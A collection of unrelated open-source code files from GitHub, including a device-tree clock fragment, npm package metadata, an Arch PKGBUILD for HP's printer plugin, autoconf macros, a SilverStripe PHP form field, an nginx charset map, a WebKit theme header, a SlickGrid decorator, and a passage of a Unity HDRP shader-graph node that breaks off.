"ti,dra7-apll-clock"; }; apll96_ck: apll96_ck { #clock-cells = <0>; compatible = "ti,omap2-apll-clock"; clocks = <&sys_ck>; ti,bit-shift = <2>; ti,idlest-shift = <8>; ti,clock-frequency = <96000000>; reg = <0x0500>, <0x0530>, <0x0520>; };
{ "pile_set_name": "Github" }
{ "_from": "pify@^3.0.0", "_id": "[email protected]", "_inBundle": false, "_integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", "_location": "/globby/pify", "_phantomChildren": {}, "_requested": { "type": "range", "registry": true, "raw": "pify@^3.0.0", "name": "pify", "escapedName": "pify", "rawSpec": "^3.0.0", "saveSpec": null, "fetchSpec": "^3.0.0" }, "_requiredBy": [ "/globby" ], "_resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", "_shasum": "e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176", "_spec": "pify@^3.0.0", "_where": "/in28Minutes/git/full-stack-with-react-and-spring-boot/frontend/todo-app/node_modules/globby", "author": { "name": "Sindre Sorhus", "email": "[email protected]", "url": "sindresorhus.com" }, "bugs": { "url": "https://github.com/sindresorhus/pify/issues" }, "bundleDependencies": false, "deprecated": false, "description": "Promisify a callback-style function", "devDependencies": { "ava": "*", "pinkie-promise": "^2.0.0", "v8-natives": "^1.0.0", "xo": "*" }, "engines": { "node": ">=4" }, "files": [ "index.js" ], "homepage": "https://github.com/sindresorhus/pify#readme", "keywords": [ "promise", "promises", "promisify", "all", "denodify", "denodeify", "callback", "cb", "node", "then", "thenify", "convert", "transform", "wrap", "wrapper", "bind", "to", "async", "await", "es2015", "bluebird" ], "license": "MIT", "name": "pify", "repository": { "type": "git", "url": "git+https://github.com/sindresorhus/pify.git" }, "scripts": { "optimization-test": "node --allow-natives-syntax optimization-test.js", "test": "xo && ava && npm run optimization-test" }, "version": "3.0.0" }
{ "pile_set_name": "Github" }
# Maintainer: andmars <andreas.marschall @ unitybox.de> # Contributor: PyroPeter <googlemail.com @ abi1789> # Contributor: Ivan Shapovalov <[email protected]> pkgname=hplip-plugin pkgver=3.20.6 pkgrel=1 epoch=1 pkgdesc="Binary plugin for HPs hplip printer driver library" arch=('i686' 'x86_64' 'armv7h' 'aarch64') url="http://hplipopensource.com/node/309" license=('custom:proprietary') depends=("hplip>=$pkgver") backup=(var/lib/hp/hplip.state) #source=("http://www.openprinting.org/download/printdriver/auxfiles/HP/plugins/hplip-$pkgver-plugin.run") source=("https://developers.hp.com/sites/default/files/hplip-$pkgver-plugin.run") md5sums=('77ae206da281887ab6c96c12a959f8f8') prepare() { sh "hplip-$pkgver-plugin.run" --target "$srcdir/hplip-$pkgver-plugin" --noexec } package(){ cd "$srcdir/hplip-$pkgver-plugin" if [ $CARCH = "i686" ]; then _arch='x86_32' elif [ $CARCH = "x86_64" ]; then _arch='x86_64' elif [ $CARCH = "armv7h" ]; then _arch='arm32' elif [ $CARCH = "aarch64" ]; then _arch='arm64' fi # Create folders install -d "$pkgdir/usr/share/hplip/data/firmware" install -d "$pkgdir/usr/share/hplip/fax/plugins" install -d "$pkgdir/usr/share/hplip/prnt/plugins" install -d "$pkgdir/usr/share/hplip/scan/plugins" install -d "$pkgdir/usr/share/licenses/hplip-plugin" install -d "$pkgdir/var/lib/hp" # Copy files install -m644 plugin.spec "$pkgdir/usr/share/hplip/" install -m644 hp_laserjet_*.fw.gz "$pkgdir/usr/share/hplip/data/firmware/" install -m755 fax_marvell-"$_arch".so "$pkgdir/usr/share/hplip/fax/plugins/" install -m755 hbpl1-"$_arch".so "$pkgdir/usr/share/hplip/prnt/plugins/" install -m755 lj-"$_arch".so "$pkgdir/usr/share/hplip/prnt/plugins/" install -m755 bb_*-"$_arch".so "$pkgdir/usr/share/hplip/scan/plugins/" install -m644 license.txt "$pkgdir/usr/share/licenses/hplip-plugin/" # Create hplip.state used by hplip-tools cat << EOF > hplip.state [plugin] installed = 1 eula = 1 version = $pkgver EOF install -m644 hplip.state "$pkgdir/var/lib/hp" # Create symlinks find "$pkgdir/usr/share/hplip" -type f -name "*.so" | while read f; do lib_dir="${f%/*}" lib_name="${f##*/}" ln -vsf "$lib_name" "$lib_dir/${lib_name%%-*}.so" done } # Note: to check the install, perform: hp-diagnose_plugin
{ "pile_set_name": "Github" }
dnl Macros to check the presence of generic (non-typed) symbols. dnl Copyright (c) 2006-2008 Diego Pettenò <[email protected]> dnl Copyright (c) 2006-2008 xine project dnl Copyright (c) 2012 Lucas De Marchi <[email protected]> dnl dnl This program is free software; you can redistribute it and/or modify dnl it under the terms of the GNU General Public License as published by dnl the Free Software Foundation; either version 2, or (at your option) dnl any later version. dnl dnl This program is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the dnl GNU General Public License for more details. dnl dnl You should have received a copy of the GNU General Public License dnl along with this program; if not, write to the Free Software dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA dnl 02110-1301, USA. dnl dnl As a special exception, the copyright owners of the dnl macro gives unlimited permission to copy, distribute and modify the dnl configure scripts that are the output of Autoconf when processing the dnl Macro. You need not follow the terms of the GNU General Public dnl License when using or distributing such scripts, even though portions dnl of the text of the Macro appear in them. The GNU General Public dnl License (GPL) does govern all other use of the material that dnl constitutes the Autoconf Macro. dnl dnl This special exception to the GPL applies to versions of the dnl Autoconf Macro released by this project. When you make and dnl distribute a modified version of the Autoconf Macro, you may extend dnl this special exception to the GPL to apply to your modified version as dnl well. dnl Check if FLAG in ENV-VAR is supported by compiler and append it dnl to WHERE-TO-APPEND variable dnl CC_CHECK_FLAG_APPEND([WHERE-TO-APPEND], [ENV-VAR], [FLAG]) AC_DEFUN([CC_CHECK_FLAG_APPEND], [ AC_CACHE_CHECK([if $CC supports flag $3 in envvar $2], AS_TR_SH([cc_cv_$2_$3]), [eval "AS_TR_SH([cc_save_$2])='${$2}'" eval "AS_TR_SH([$2])='-Werror $3'" AC_COMPILE_IFELSE([AC_LANG_SOURCE([int a = 0; int main(void) { return a; } ])], [eval "AS_TR_SH([cc_cv_$2_$3])='yes'"], [eval "AS_TR_SH([cc_cv_$2_$3])='no'"]) eval "AS_TR_SH([$2])='$cc_save_$2'"]) AS_IF([eval test x$]AS_TR_SH([cc_cv_$2_$3])[ = xyes], [eval "$1='${$1} $3'"]) ]) dnl CC_CHECK_FLAGS_APPEND([WHERE-TO-APPEND], [ENV-VAR], [FLAG1 FLAG2]) AC_DEFUN([CC_CHECK_FLAGS_APPEND], [ for flag in $3; do CC_CHECK_FLAG_APPEND($1, $2, $flag) done ]) dnl Check if the flag is supported by linker (cacheable) dnl CC_CHECK_LDFLAGS([FLAG], [ACTION-IF-FOUND],[ACTION-IF-NOT-FOUND]) AC_DEFUN([CC_CHECK_LDFLAGS], [ AC_CACHE_CHECK([if $CC supports $1 flag], AS_TR_SH([cc_cv_ldflags_$1]), [ac_save_LDFLAGS="$LDFLAGS" LDFLAGS="$LDFLAGS $1" AC_LINK_IFELSE([int main() { return 1; }], [eval "AS_TR_SH([cc_cv_ldflags_$1])='yes'"], [eval "AS_TR_SH([cc_cv_ldflags_$1])="]) LDFLAGS="$ac_save_LDFLAGS" ]) AS_IF([eval test x$]AS_TR_SH([cc_cv_ldflags_$1])[ = xyes], [$2], [$3]) ]) dnl define the LDFLAGS_NOUNDEFINED variable with the correct value for dnl the current linker to avoid undefined references in a shared object. AC_DEFUN([CC_NOUNDEFINED], [ dnl We check $host for which systems to enable this for. AC_REQUIRE([AC_CANONICAL_HOST]) case $host in dnl FreeBSD (et al.) does not complete linking for shared objects when pthreads dnl are requested, as different implementations are present; to avoid problems dnl use -Wl,-z,defs only for those platform not behaving this way. *-freebsd* | *-openbsd*) ;; *) dnl First of all check for the --no-undefined variant of GNU ld. This allows dnl for a much more readable commandline, so that people can understand what dnl it does without going to look for what the heck -z defs does. for possible_flags in "-Wl,--no-undefined" "-Wl,-z,defs"; do CC_CHECK_LDFLAGS([$possible_flags], [LDFLAGS_NOUNDEFINED="$possible_flags"]) break done ;; esac AC_SUBST([LDFLAGS_NOUNDEFINED]) ]) dnl Check for a -Werror flag or equivalent. -Werror is the GCC dnl and ICC flag that tells the compiler to treat all the warnings dnl as fatal. We usually need this option to make sure that some dnl constructs (like attributes) are not simply ignored. dnl dnl Other compilers don't support -Werror per se, but they support dnl an equivalent flag: dnl - Sun Studio compiler supports -errwarn=%all AC_DEFUN([CC_CHECK_WERROR], [ AC_CACHE_CHECK( [for $CC way to treat warnings as errors], [cc_cv_werror], [CC_CHECK_CFLAGS_SILENT([-Werror], [cc_cv_werror=-Werror], [CC_CHECK_CFLAGS_SILENT([-errwarn=%all], [cc_cv_werror=-errwarn=%all])]) ]) ]) AC_DEFUN([CC_CHECK_ATTRIBUTE], [ AC_REQUIRE([CC_CHECK_WERROR]) AC_CACHE_CHECK([if $CC supports __attribute__(( ifelse([$2], , [$1], [$2]) ))], AS_TR_SH([cc_cv_attribute_$1]), [ac_save_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS $cc_cv_werror" AC_COMPILE_IFELSE([AC_LANG_SOURCE([$3])], [eval "AS_TR_SH([cc_cv_attribute_$1])='yes'"], [eval "AS_TR_SH([cc_cv_attribute_$1])='no'"]) CFLAGS="$ac_save_CFLAGS" ]) AS_IF([eval test x$]AS_TR_SH([cc_cv_attribute_$1])[ = xyes], [AC_DEFINE( AS_TR_CPP([SUPPORT_ATTRIBUTE_$1]), 1, [Define this if the compiler supports __attribute__(( ifelse([$2], , [$1], [$2]) ))] ) $4], [$5]) ]) AC_DEFUN([CC_ATTRIBUTE_CONSTRUCTOR], [ CC_CHECK_ATTRIBUTE( [constructor],, [void __attribute__((constructor)) ctor() { int a; }], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_FORMAT], [ CC_CHECK_ATTRIBUTE( [format], [format(printf, n, n)], [void __attribute__((format(printf, 1, 2))) printflike(const char *fmt, ...) { fmt = (void *)0; }], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_FORMAT_ARG], [ CC_CHECK_ATTRIBUTE( [format_arg], [format_arg(printf)], [char *__attribute__((format_arg(1))) gettextlike(const char *fmt) { fmt = (void *)0; }], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_VISIBILITY], [ CC_CHECK_ATTRIBUTE( [visibility_$1], [visibility("$1")], [void __attribute__((visibility("$1"))) $1_function() { }], [$2], [$3]) ]) AC_DEFUN([CC_ATTRIBUTE_NONNULL], [ CC_CHECK_ATTRIBUTE( [nonnull], [nonnull()], [void __attribute__((nonnull())) some_function(void *foo, void *bar) { foo = (void*)0; bar = (void*)0; }], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_UNUSED], [ CC_CHECK_ATTRIBUTE( [unused], , [void some_function(void *foo, __attribute__((unused)) void *bar);], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_SENTINEL], [ CC_CHECK_ATTRIBUTE( [sentinel], , [void some_function(void *foo, ...) __attribute__((sentinel));], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_DEPRECATED], [ CC_CHECK_ATTRIBUTE( [deprecated], , [void some_function(void *foo, ...) __attribute__((deprecated));], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_ALIAS], [ CC_CHECK_ATTRIBUTE( [alias], [weak, alias], [void other_function(void *foo) { } void some_function(void *foo) __attribute__((weak, alias("other_function")));], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_MALLOC], [ CC_CHECK_ATTRIBUTE( [malloc], , [void * __attribute__((malloc)) my_alloc(int n);], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_PACKED], [ CC_CHECK_ATTRIBUTE( [packed], , [struct astructure { char a; int b; long c; void *d; } __attribute__((packed));], [$1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_CONST], [ CC_CHECK_ATTRIBUTE( [const], , [int __attribute__((const)) twopow(int n) { return 1 << n; } ], [$1], [$2]) ]) AC_DEFUN([CC_FLAG_VISIBILITY], [ AC_REQUIRE([CC_CHECK_WERROR]) AC_CACHE_CHECK([if $CC supports -fvisibility=hidden], [cc_cv_flag_visibility], [cc_flag_visibility_save_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS $cc_cv_werror" CC_CHECK_CFLAGS_SILENT([-fvisibility=hidden], cc_cv_flag_visibility='yes', cc_cv_flag_visibility='no') CFLAGS="$cc_flag_visibility_save_CFLAGS"]) AS_IF([test "x$cc_cv_flag_visibility" = "xyes"], [AC_DEFINE([SUPPORT_FLAG_VISIBILITY], 1, [Define this if the compiler supports the -fvisibility flag]) $1], [$2]) ]) AC_DEFUN([CC_FUNC_EXPECT], [ AC_REQUIRE([CC_CHECK_WERROR]) AC_CACHE_CHECK([if compiler has __builtin_expect function], [cc_cv_func_expect], [ac_save_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS $cc_cv_werror" AC_COMPILE_IFELSE([AC_LANG_SOURCE( [int some_function() { int a = 3; return (int)__builtin_expect(a, 3); }])], [cc_cv_func_expect=yes], [cc_cv_func_expect=no]) CFLAGS="$ac_save_CFLAGS" ]) AS_IF([test "x$cc_cv_func_expect" = "xyes"], [AC_DEFINE([SUPPORT__BUILTIN_EXPECT], 1, [Define this if the compiler supports __builtin_expect() function]) $1], [$2]) ]) AC_DEFUN([CC_ATTRIBUTE_ALIGNED], [ AC_REQUIRE([CC_CHECK_WERROR]) AC_CACHE_CHECK([highest __attribute__ ((aligned ())) supported], [cc_cv_attribute_aligned], [ac_save_CFLAGS="$CFLAGS" CFLAGS="$CFLAGS $cc_cv_werror" for cc_attribute_align_try in 64 32 16 8 4 2; do AC_COMPILE_IFELSE([AC_LANG_SOURCE([ int main() { static char c __attribute__ ((aligned($cc_attribute_align_try))) = 0; return c; }])], [cc_cv_attribute_aligned=$cc_attribute_align_try; break]) done CFLAGS="$ac_save_CFLAGS" ]) if test "x$cc_cv_attribute_aligned" != "x"; then AC_DEFINE_UNQUOTED([ATTRIBUTE_ALIGNED_MAX], [$cc_cv_attribute_aligned], [Define the highest alignment supported]) fi ])
{ "pile_set_name": "Github" }
{ "name": "npm-force-resolutions", "version": "0.0.3", "lockfileVersion": 1, "requires": true, "dependencies": { "buffer-from": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" }, "json-format": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-format/-/json-format-1.0.1.tgz", "integrity": "sha1-FD9n5irxKda//tKIpGJl6iPQ3ww=" }, "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" }, "source-map-support": { "version": "0.5.13", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", "requires": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } } } }
{ "pile_set_name": "Github" }
IRC Client internals
{ "pile_set_name": "Github" }
<?php namespace JonoM\FocusPoint\Forms; use SilverStripe\Assets\Image; use SilverStripe\Control\Director; use SilverStripe\Forms\FieldGroup; use SilverStripe\Forms\FormField; use SilverStripe\Forms\TextField; /** * FocusPointField class. * Facilitates the selection of a focus point on an image. * * @extends FieldGroup */ class FocusPointField extends FieldGroup { /** * Enable to view Focus X and Focus Y fields while in Dev mode. * * @var bool * @config */ private static $debug = false; /** * Maximum width of preview image * * @var integer * @config */ private static $max_width = 300; /** * Maximum height of preview image * * @var integer * @config */ private static $max_height = 150; protected $schemaDataType = FormField::SCHEMA_DATA_TYPE_CUSTOM; protected $schemaComponent = 'FocusPointField'; protected $image = null; public function __construct($name, $title = null, Image $image = null) { // Create the fields $fields = [ $x = TextField::create($name . 'X'), $y = TextField::create($name . 'Y') ]; if ($image) { $this->image = $image; $x->setValue($image->getField($name)->getX()); $y->setValue($image->getField($name)->getY()); } $this->setName($name)->setValue(''); parent::__construct($title, $fields); } public function getToolTip() { return _t( __CLASS__ . '.FieldToolTip', 'Click on the subject of the image to ensure it is not lost during cropping' ); } public function getSchemaStateDefaults() { $state = parent::getSchemaStateDefaults(); $state['data'] += [ 'tooltip' => $this->getToolTip(), 'showDebug' => Director::isDev() && $this->config()->get('debug') ]; if ($this->image) { $w = intval($this->config()->get('max_width')); $h = intval($this->config()->get('max_height')); $previewImage = $this->image->FitMax($w * 2, $h * 2); if ($previewImage) { $state['data'] += [ 'previewUrl' => $previewImage->URL, 'previewWidth' => $previewImage->getWidth(), 'previewHeight' => $previewImage->getHeight(), 'X' => $this->image->getField($this->getName())->getX(), 'Y' => $this->image->getField($this->getName())->getY() ]; } } return $state; } }
{ "pile_set_name": "Github" }
# This map is not a full koi8-r <> utf8 map: it does not contain # box-drawing and some other characters. Besides this map contains # several koi8-u and Byelorussian letters which are not in koi8-r. # If you need a full and standard map, use contrib/unicode2nginx/koi-utf # map instead. charset_map koi8-r utf-8 { 80 E282AC ; # euro 95 E280A2 ; # bullet 9A C2A0 ; # &nbsp; 9E C2B7 ; # &middot; A3 D191 ; # small yo A4 D194 ; # small Ukrainian ye A6 D196 ; # small Ukrainian i A7 D197 ; # small Ukrainian yi AD D291 ; # small Ukrainian soft g AE D19E ; # small Byelorussian short u B0 C2B0 ; # &deg; B3 D081 ; # capital YO B4 D084 ; # capital Ukrainian YE B6 D086 ; # capital Ukrainian I B7 D087 ; # capital Ukrainian YI B9 E28496 ; # numero sign BD D290 ; # capital Ukrainian soft G BE D18E ; # capital Byelorussian short U BF C2A9 ; # (C) C0 D18E ; # small yu C1 D0B0 ; # small a C2 D0B1 ; # small b C3 D186 ; # small ts C4 D0B4 ; # small d C5 D0B5 ; # small ye C6 D184 ; # small f C7 D0B3 ; # small g C8 D185 ; # small kh C9 D0B8 ; # small i CA D0B9 ; # small j CB D0BA ; # small k CC D0BB ; # small l CD D0BC ; # small m CE D0BD ; # small n CF D0BE ; # small o D0 D0BF ; # small p D1 D18F ; # small ya D2 D180 ; # small r D3 D181 ; # small s D4 D182 ; # small t D5 D183 ; # small u D6 D0B6 ; # small zh D7 D0B2 ; # small v D8 D18C ; # small soft sign D9 D18B ; # small y DA D0B7 ; # small z DB D188 ; # small sh DC D18D ; # small e DD D189 ; # small shch DE D187 ; # small ch DF D18A ; # small hard sign E0 D0AE ; # capital YU E1 D090 ; # capital A E2 D091 ; # capital B E3 D0A6 ; # capital TS E4 D094 ; # capital D E5 D095 ; # capital YE E6 D0A4 ; # capital F E7 D093 ; # capital G E8 D0A5 ; # capital KH E9 D098 ; # capital I EA D099 ; # capital J EB D09A ; # capital K EC D09B ; # capital L ED D09C ; # capital M EE D09D ; # capital N EF D09E ; # capital O F0 D09F ; # capital P F1 D0AF ; # capital YA F2 D0A0 ; # capital R F3 D0A1 ; # capital S F4 D0A2 ; # capital T F5 D0A3 ; # capital U F6 D096 ; # capital ZH F7 D092 ; # capital V F8 D0AC ; # capital soft sign F9 D0AB ; # capital Y FA D097 ; # capital Z FB D0A8 ; # capital SH FC D0AD ; # capital E FD D0A9 ; # capital SHCH FE D0A7 ; # capital CH FF D0AA ; # capital hard sign }
{ "pile_set_name": "Github" }
/* * This file is part of the WebKit project. * * Copyright (C) 2006 Apple Computer, Inc. * Copyright (C) 2008, 2009 Google, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. * */ #ifndef RenderThemeChromiumWin_h #define RenderThemeChromiumWin_h #include "RenderThemeChromiumSkia.h" #if WIN32 typedef void* HANDLE; typedef struct HINSTANCE__* HINSTANCE; typedef HINSTANCE HMODULE; #endif namespace WebCore { struct ThemeData { ThemeData() : m_part(0), m_state(0), m_classicState(0) {} unsigned m_part; unsigned m_state; unsigned m_classicState; }; class RenderThemeChromiumWin : public RenderThemeChromiumSkia { public: static PassRefPtr<RenderTheme> create(); // A method asking if the theme is able to draw the focus ring. virtual bool supportsFocusRing(const RenderStyle*) const; // The platform selection color. virtual Color platformActiveSelectionBackgroundColor() const; virtual Color platformInactiveSelectionBackgroundColor() const; virtual Color platformActiveSelectionForegroundColor() const; virtual Color platformInactiveSelectionForegroundColor() const; virtual Color platformActiveTextSearchHighlightColor() const; virtual Color platformInactiveTextSearchHighlightColor() const; // System fonts. virtual void systemFont(int propId, FontDescription&) const; virtual Color systemColor(int cssValueId) const; virtual void adjustSliderThumbSize(RenderObject*) const; // Various paint functions. virtual bool paintCheckbox(RenderObject*, const PaintInfo&, const IntRect&); virtual bool paintRadio(RenderObject*, const PaintInfo&, const IntRect&); virtual bool paintButton(RenderObject*, const PaintInfo&, const IntRect&); virtual bool paintTextField(RenderObject*, const PaintInfo&, const IntRect&); virtual bool paintSliderTrack(RenderObject*, const PaintInfo&, const IntRect&); virtual bool paintSliderThumb(RenderObject*, const PaintInfo&, const IntRect&); // MenuList refers to an unstyled menulist (meaning a menulist without // background-color or border set) and MenuListButton refers to a styled // menulist (a menulist with background-color or border set). They have // this distinction to support showing aqua style themes whenever they // possibly can, which is something we don't want to replicate. // // In short, we either go down the MenuList code path or the MenuListButton // codepath. We never go down both. And in both cases, they render the // entire menulist. virtual bool paintMenuList(RenderObject*, const PaintInfo&, const IntRect&); // Override RenderThemeChromiumSkia's setDefaultFontSize method to also reset the local font property caches. // See comment in RenderThemeChromiumSkia::setDefaultFontSize() regarding ugliness of this hack. static void setDefaultFontSize(int); virtual void adjustInnerSpinButtonStyle(CSSStyleSelector*, RenderStyle*, Element*) const; virtual bool paintInnerSpinButton(RenderObject*, const PaintInfo&, const IntRect&); #if ENABLE(PROGRESS_TAG) virtual double animationRepeatIntervalForProgressBar(RenderProgress*) const; virtual double animationDurationForProgressBar(RenderProgress*) const; virtual void adjustProgressBarStyle(CSSStyleSelector*, RenderStyle*, Element*) const; virtual bool paintProgressBar(RenderObject*, const PaintInfo&, const IntRect&); #endif protected: virtual double caretBlinkIntervalInternal() const; private: enum ControlSubPart { None, SpinButtonDown, SpinButtonUp, }; RenderThemeChromiumWin() { } virtual ~RenderThemeChromiumWin() { } unsigned determineState(RenderObject*, ControlSubPart = None); unsigned determineSliderThumbState(RenderObject*); unsigned determineClassicState(RenderObject*, ControlSubPart = None); ThemeData getThemeData(RenderObject*, ControlSubPart = None); bool paintTextFieldInternal(RenderObject*, const PaintInfo&, const IntRect&, bool); }; } // namespace WebCore #endif
{ "pile_set_name": "Github" }
(function ($) { // register namespace $.extend(true, window, { "Slick": { "CellRangeDecorator": CellRangeDecorator } }); /*** * Displays an overlay on top of a given cell range. * * TODO: * Currently, it blocks mouse events to DOM nodes behind it. * Use FF and WebKit-specific "pointer-events" CSS style, or some kind of event forwarding. * Could also construct the borders separately using 4 individual DIVs. * * @param {Grid} grid * @param {Object} options */ function CellRangeDecorator(grid, options) { var _elem; var _defaults = { selectionCss: { "zIndex": "9999", "border": "2px dashed red" } }; options = $.extend(true, {}, _defaults, options); function show(range) { if (!_elem) { _elem = $("<div></div>", {css: options.selectionCss}) .css("position", "absolute") .appendTo(grid.getCanvasNode()); } var from = grid.getCellNodeBox(range.fromRow, range.fromCell); var to = grid.getCellNodeBox(range.toRow, range.toCell); _elem.css({ top: from.top - 1, left: from.left - 1, height: to.bottom - from.top - 2, width: to.right - from.left - 2 }); return _elem; } function hide() { if (_elem) { _elem.remove(); _elem = null; } } $.extend(this, { "show": show, "hide": hide }); } })(jQuery);
{ "pile_set_name": "Github" }
using System; using System.Linq; using System.Collections.Generic; using UnityEditor.Experimental.Rendering.HDPipeline.Drawing; using UnityEditor.Graphing; using UnityEditor.ShaderGraph; using UnityEditor.ShaderGraph.Drawing.Controls; using UnityEngine; using UnityEngine.UIElements; using UnityEngine.Experimental.Rendering.HDPipeline; using UnityEditor.ShaderGraph.Drawing.Inspector; using UnityEngine.Rendering; // Include material common properties names using static UnityEngine.Experimental.Rendering.HDPipeline.HDMaterialProperties; //TODOTODO: // clamp in shader code the ranged() properties // or let inputs (eg mask?) follow invalid values ? Lit does that (let them free running). namespace UnityEditor.Experimental.Rendering.HDPipeline { [Serializable] [Title("Master", "HDRP/StackLit")] [FormerName("UnityEditor.ShaderGraph.StackLitMasterNode")] class StackLitMasterNode : MasterNode<IStackLitSubShader>, IMayRequirePosition, IMayRequireNormal, IMayRequireTangent { public const string PositionSlotName = "Position"; public const string BaseColorSlotName = "BaseColor"; public const string NormalSlotName = "Normal"; public const string BentNormalSlotName = "BentNormal"; public const string TangentSlotName = "Tangent"; public const string SubsurfaceMaskSlotName = "SubsurfaceMask"; public const string ThicknessSlotName = "Thickness"; public const string DiffusionProfileHashSlotName = "DiffusionProfileHash"; public const string IridescenceMaskSlotName = "IridescenceMask"; public const string IridescenceThicknessSlotName = "IridescenceThickness"; public const string IridescenceCoatFixupTIRSlotName = "IridescenceCoatFixupTIR"; public const string IridescenceCoatFixupTIRClampSlotName = "IridescenceCoatFixupTIRClamp"; public const string SpecularColorSlotName = "SpecularColor"; public const string MetallicSlotName = "Metallic"; public const string DielectricIorSlotName = "DielectricIor"; public const string EmissionSlotName = "Emission"; public const string SmoothnessASlotName = "SmoothnessA"; public const string SmoothnessBSlotName = "SmoothnessB"; public const string AmbientOcclusionSlotName = "AmbientOcclusion"; public const string AlphaSlotName = "Alpha"; public const string AlphaClipThresholdSlotName = "AlphaClipThreshold"; public const string AnisotropyASlotName = "AnisotropyA"; public const string AnisotropyBSlotName = "AnisotropyB"; public const string SpecularAAScreenSpaceVarianceSlotName = "SpecularAAScreenSpaceVariance"; public const string SpecularAAThresholdSlotName = "SpecularAAThreshold"; public const string DistortionSlotName = "Distortion"; public const string DistortionBlurSlotName = "DistortionBlur"; public const string CoatSmoothnessSlotName = "CoatSmoothness"; public const string CoatIorSlotName = "CoatIor"; public const string CoatThicknessSlotName = "CoatThickness"; public const string CoatExtinctionSlotName = "CoatExtinction"; public const string CoatNormalSlotName = "CoatNormal"; public const string CoatMaskSlotName = "CoatMask"; public const string LobeMixSlotName = "LobeMix"; public const string HazinessSlotName = "Haziness"; public const string HazeExtentSlotName = "HazeExtent"; public const string HazyGlossMaxDielectricF0SlotName = "HazyGlossMaxDielectricF0"; // only valid if above option enabled and we have a basecolor + metallic input parametrization public const string BakedGISlotName = "BakedGI"; public const string BakedBackGISlotName = "BakedBackGI"; // TODO: we would ideally need one value per lobe //public const string SpecularOcclusionSlotName = "SpecularOcclusion"; public const string SOFixupVisibilityRatioThresholdSlotName = "SOConeFixupVisibilityThreshold"; public const string SOFixupStrengthFactorSlotName = "SOConeFixupStrength"; public const string SOFixupMaxAddedRoughnessSlotName = "SOConeFixupMaxAddedRoughness"; public const string DepthOffsetSlotName = "DepthOffset"; public const int PositionSlotId = 0; public const int BaseColorSlotId = 1; public const int NormalSlotId = 2; public const int BentNormalSlotId = 3; public const int TangentSlotId = 4; public const int SubsurfaceMaskSlotId = 5; public const int ThicknessSlotId = 6; public const int DiffusionProfileHashSlotId = 7; public const int IridescenceMaskSlotId = 8; public const int IridescenceThicknessSlotId = 9; public const int SpecularColorSlotId = 10; public const int DielectricIorSlotId = 11; public const int MetallicSlotId = 12; public const int EmissionSlotId = 13; public const int SmoothnessASlotId = 14; public const int SmoothnessBSlotId = 15; public const int AmbientOcclusionSlotId = 16; public const int AlphaSlotId = 17; public const int AlphaClipThresholdSlotId = 18; public const int AnisotropyASlotId = 19; public const int AnisotropyBSlotId = 20; public const int SpecularAAScreenSpaceVarianceSlotId = 21; public const int SpecularAAThresholdSlotId = 22; public const int DistortionSlotId = 23; public const int DistortionBlurSlotId = 24; public const int CoatSmoothnessSlotId = 25; public const int CoatIorSlotId = 26; public const int CoatThicknessSlotId = 27; public const int CoatExtinctionSlotId = 28; public const int CoatNormalSlotId = 29; public const int LobeMixSlotId = 30; public const int HazinessSlotId = 31; public const int HazeExtentSlotId = 32; public const int HazyGlossMaxDielectricF0SlotId = 33; public const int LightingSlotId = 34; public const int BackLightingSlotId = 35; public const int SOFixupVisibilityRatioThresholdSlotId = 36; public const int SOFixupStrengthFactorSlotId = 37; public const int SOFixupMaxAddedRoughnessSlotId = 38; public const int CoatMaskSlotId = 39; public const int IridescenceCoatFixupTIRSlotId = 40; public const int IridescenceCoatFixupTIRClampSlotId = 41; // TODO: we would ideally need one value per lobe //public const int SpecularOcclusionSlotId = ; // for custom (external) SO replacing data based SO (which comes from DataBasedSOMode(dataAO, optional bent normal)) public const int DepthOffsetSlotId = 42; // In StackLit.hlsl engine side //public enum BaseParametrization //public enum DualSpecularLobeParametrization // Available options for computing Vs (specular occlusion) based on: // // baked diffuse visibility (aka "data based AO") orientation // (ie baked visibility cone (aka "bent visibility cone") orientation) // := { normal aligned (default bentnormal value), bent normal } // X // baked diffuse visibility solid angle inference algo from baked visibility scalar // (ie baked visibility cone 